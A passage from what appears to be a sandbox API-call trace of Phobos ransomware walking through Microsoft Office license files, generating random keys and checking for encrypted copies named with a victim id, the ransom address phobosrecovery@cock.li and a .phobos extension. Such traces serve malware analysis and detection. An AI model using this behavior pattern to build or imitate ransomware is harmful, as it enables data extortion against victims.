(lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.627] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.627] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.627] CloseHandle (hObject=0x580) returned 1 [0152.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms")) returned 0x220 [0152.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.628] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.628] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0152.628] CloseHandle (hObject=0x580) returned 1 [0152.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms")) returned 0x220 [0152.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.629] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.630] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23135) returned 1 [0152.630] CloseHandle (hObject=0x580) returned 1 [0152.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms")) returned 0x220 [0152.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.630] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.631] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11635) returned 1 [0152.631] CloseHandle (hObject=0x580) returned 1 [0152.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0152.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.631] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.632] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0152.632] CloseHandle (hObject=0x580) returned 1 [0152.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 0x220 [0152.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.632] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.633] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23135) returned 1 [0152.633] CloseHandle (hObject=0x580) returned 1 [0152.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 0x220 [0152.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.633] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.634] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11635) returned 1 [0152.634] CloseHandle (hObject=0x580) returned 1 [0152.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0152.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.634] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.635] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0152.635] CloseHandle (hObject=0x580) returned 1 [0152.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 0x220 [0152.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.635] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.636] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23135) returned 1 [0152.636] CloseHandle (hObject=0x580) returned 1 [0152.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms")) returned 0x220 [0152.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.636] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.637] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11635) returned 1 [0152.637] CloseHandle (hObject=0x580) returned 1 [0152.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms")) returned 0x220 [0152.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.637] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.638] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11183) returned 1 [0152.638] CloseHandle (hObject=0x580) returned 1 [0152.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms")) returned 0x220 [0152.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.854] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.854] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.855] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.855] CloseHandle (hObject=0x564) returned 1 [0152.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms")) returned 0x220 [0152.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.855] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.856] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11179) returned 1 [0152.856] CloseHandle (hObject=0x564) returned 1 [0152.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms")) returned 0x220 [0152.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.856] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.856] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.857] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24369) returned 1 [0152.857] CloseHandle (hObject=0x564) returned 1 [0152.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms")) returned 0x220 [0152.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.857] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0152.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0152.858] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11630) returned 1 [0152.858] CloseHandle (hObject=0x564) returned 1 [0152.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0152.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 